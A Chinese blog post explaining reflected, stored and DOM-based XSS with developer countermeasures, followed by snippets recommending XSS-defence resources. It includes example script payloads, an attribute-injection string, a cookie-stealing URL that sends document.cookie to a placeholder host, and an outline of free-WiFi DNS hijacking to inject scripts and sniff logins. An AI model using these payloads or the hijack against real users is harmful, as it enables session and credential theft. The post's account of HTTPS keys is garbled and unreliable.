XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是“跨域”和“客户端执行”。有人将XSS攻击分为三种,分别是:
1. Reflected XSS(基于反射的XSS攻击)
2. Stored XSS(基于存储的XSS攻击)
3. DOM-based or local XSS(基于DOM或本地的XSS攻击)
Reflected XSS
基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。
例子:
1. 做个假设,当亚马逊在搜索书籍,搜不到书的时候显示提交的名称。
2. 在搜索框搜索内容,填入“<script>alert('handsome boy')</script>”, 点击搜索。
3. 当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。
4. 进而可以构造获取用户cookies的地址,通过群或者垃圾邮件,来让其他人点击这个地址:
http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
PS:这个地址当然是没效的,只是举例子而已。
结论:
如果只是1、2、3步做成功,那也只是自己折腾自己而已,如果第4步能做成功,才是个像样的XSS攻击。
开发安全措施:
1. 前端在显示服务端数据时候,不仅是标签内容需要过滤、转义,就连属性值也都可能需要。
2. 后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。
例如:
标签:
<span><script>alert('handsome boy')</script></span>
转义
<span><script>alert('handsome boy')</script></span>
属性:
如果一个input的value属性值是
琅琊榜" onclick="javascript:alert('handsome boy')
就可能出现
<input type="text" value="琅琊榜" onclick="javascript:alert('handsome boy')">
点击input导致攻击脚本被执行,解决方式可以对script或者双引号进行过滤。
Stored XSS
基于存储的XSS攻击,是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。
例子:
1. 发一篇文章,里面包含了恶意脚本
今天天气不错啊!<script>alert('handsome boy')</script>
2. 后端没有对文章进行过滤,直接保存文章内容到数据库。
3. 当其他看这篇文章的时候,包含的恶意脚本就会执行。
PS:因为大部分文章是保存整个HTML内容的,前端显示时候也不做过滤,就极可能出现这种情况。
结论:
后端尽可能对提交数据做过滤,在场景需求而不过滤的情况下,前端就需要做些处理了。
开发安全措施:
1. 首要是服务端要进行过滤,因为前端的校验可以被绕过。
2. 当服务端不校验时候,前端要以各种方式过滤里面可能的恶意脚本,例如script标签,将特殊字符转换成HTML编码。
DOM-based or local XSS
基于DOM或本地的XSS攻击。一般是提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。
例子1:
1. 提供一个免费的wifi。
1. 开启一个特殊的DNS服务,将所有域名都解析到我们的电脑上,并把Wifi的DHCP-DNS设置为我们的电脑IP。
2. 之后连上wifi的用户打开任何网站,请求都将被我们截取到。我们根据http头中的host字段来转发到真正服务器上。
3. 收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户。
4. 当注入的脚本被执行,用户的浏览器将依次预加载各大网站的常用脚本库。
PS:例子和图片来自,http://www.cnblogs.com/index-html/p/wifi_hijack_3.html 不是我写的,请注意!
这个其实就是wifi流量劫持,中间人可以看到用户的每一个请求,可以在页面嵌入恶意代码,使用恶意代码获取用户的信息,可以返回钓鱼页面。
例子2:
1. 还是提供一个免费wifi
2. 在我们电脑上进行抓包
3. 分析数据,可以获取用户的微信朋友圈、邮箱、社交网站帐号数据(HTTP)等。
PS:这个是我的测试,在51job页面登录时进行抓包,可以获取帐号密码。
结论:
这攻击其实跟网站本身没有什么关系,只是数据被中间人获取了而已,而由于HTTP是明文传输的,所以是极可能被窃取的。
开发安全措施:
1. 使用HTTPS!就跟我前面《HTTP与HTTPS握手的那些事》这篇文章说的,HTTPS会在请求数据之前进行一次握手,使得客户端与服务端都有一个私钥,服务端用这个私钥加密,客户端用这个私钥解密,这样即使数据被人截取了,也是加密后的数据。
总结
XSS攻击的特点就是:尽一切办法在目标网站上执行非目标网站上原有的脚本(某篇文章说的)。本地的XSS攻击的示例2其实不算XSS攻击,只是简单流量劫持。前两种XSS攻击是我们开发时候要注意的,而流量劫持的则可以使用HTTPS提高安全性,。
本文为原创文章,转载请保留原出处,方便溯源,如有错误地方,谢谢指正。
相关推荐
在SpringBoot应用中配置XSSFilter,可以确保传入和传出的数据都经过安全处理,防止XSS攻击的发生。 配置XSSFilter通常涉及以下几个步骤: 1. 添加依赖:确保项目中已经包含了Spring Security或者类似的过滤器库,...
防止XSS攻击是保护Web应用安全的重要一环,对于任何Web开发者来说都是必备的知识。 一、XSS攻击类型 XSS攻击主要分为三类:反射型XSS、存储型XSS和DOM型XSS。 1. 反射型XSS:攻击者通过构造恶意链接,诱使用户点击...
"前端开源库-xss-filters"是一个专门针对这种情况设计的开源库,其目标是提供安全的XSS过滤器,帮助开发者有效地防止XSS攻击。 这个库的核心功能是提供一系列的输出过滤机制,这些过滤器能够识别并清除或转义可能...
标题 "简单模拟XSS攻击.zip" 提到的主题是关于网络安全中的跨站脚本(XSS)攻击,这种攻击发生在Web应用程序中,攻击者通过注入恶意脚本,使用户在不知情的情况下执行。在这个示例中,它展示了如何利用前端用户输入...
XSS攻击是网络安全领域常见的威胁之一,它利用了Web应用对用户输入数据处理不当,允许攻击者在网页上注入恶意脚本,从而窃取用户敏感信息、执行非授权操作或者进行钓鱼攻击。 该平台的核心功能可能包括以下几点: ...
总结来说,XSS攻击是一种严重威胁前端安全的问题,需要开发者结合后端和前端的防护手段进行防御。理解XSS攻击的原理,正确处理用户输入,启用现代浏览器的安全特性,并持续进行安全审计和更新,是确保应用程序安全的...
XSS 漏洞是一种常见的前端安全问题,指的是攻击者在 Web 应用程序中注入恶意脚本,以欺骗用户或窃取用户信息。XSS 漏洞的危害非常高,黑客可以通过 XSS 漏洞盗取用户的敏感信息,或者执行恶意操作。 1. 非持久性 ...
- **严重程度**:XSS攻击被OWASP(开放Web应用安全项目)列为十大安全漏洞之一,并且长期占据榜单前列位置。攻击者可以通过这种方式实现对用户会话的劫持,进而进行各种恶意行为。 - **示例**:2011年,中国知名...
【淘宝网前端安全须知】 在网络安全领域,前端安全至关重要,特别是对于电商平台如淘宝网而言。前端安全主要包括三个方面:机密性、完整性和来源可靠性。这些原则是保护用户信息和防止恶意攻击的基础。 1. 机密性...
本篇文章将深入探讨如何使用Java来防御XSS攻击,并介绍提供的jar包以及如何应用它们。 首先,了解XSS攻击的基本原理。XSS攻击通常发生在Web应用中,当用户输入的数据未经适当验证和转义就被直接显示在其他用户...
内容安全策略(CSP)是另一种安全机制,用来减轻XSS攻击的风险。CSP通过指定有效的源,限制页面上的脚本如何加载和执行,从而防止不被信任的脚本执行。CSP是一个额外的安全层,帮助发现和缓解某些类型的攻击,如XSS...
综上所述,防止XSS攻击需要从多个层面进行防御,包括前端的输入验证、后端的编码处理,以及服务器配置和用户教育。只有全面考虑并实施这些策略,才能有效降低XSS攻击的风险。通过对比分析"有漏洞的网站"和"修改后...
6. XSS绕过WAF和进阶:Web应用防火墙(WAF)是防御XSS攻击的重要工具之一,但它并非万能,XSS攻击者会尝试绕过WAF进行攻击。文档中提到了XSS绕过WAF的方法和进阶攻击技术,这对于提高安全防护水平具有重要意义。 7....
XSS猎人的捕猎日记中记载着gainover,一位在PKAV团队任职,是乌云核心白帽子同时也...XSS攻击的防御需要从多个层面进行,包括代码审查、安全测试、以及对用户输入进行有效的过滤和转义等措施,以确保Web应用的安全性。
本套教程聚焦于XSS攻击的原理、检测和防御策略,旨在帮助学习者深入理解这一威胁并提升其安全防护能力。 XSS攻击主要分为三种类型:反射型XSS、存储型XSS和DOM型XSS。反射型XSS通常发生在用户点击含有恶意链接的URL...
使用场景及目标:帮助IT专业人员深入了解XSS的工作机制,提高对XSS的认识水平,并掌握具体的防护手段,加强web应用安全性,减少遭受XSS攻击的可能性。 其他说明:阅读本文有助于加深对于现代web应用程序中普遍存在的...